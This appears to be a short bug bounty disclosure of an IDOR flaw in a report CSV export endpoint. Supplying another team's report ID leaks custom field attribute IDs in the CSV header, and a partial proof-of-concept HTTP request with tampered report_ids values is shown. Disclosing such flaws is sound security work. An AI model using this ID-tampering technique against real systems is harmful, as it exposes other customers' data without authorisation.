IDOR in Report CSV export discloses the IDs of Custom Field Attributes of Programs

Specifying a report ID of another team when requesting a CSV export leaks the ID of the Custom Field Attribute in the CSV header.

POST /reports/export HTTP/1.1
Host: localhost:8080
...

----------868143055
Content-Disposition: form-data; name="report_ids[]"

17
----------868143055
Content-Disposition: form-data; name="report_ids[]"

118
...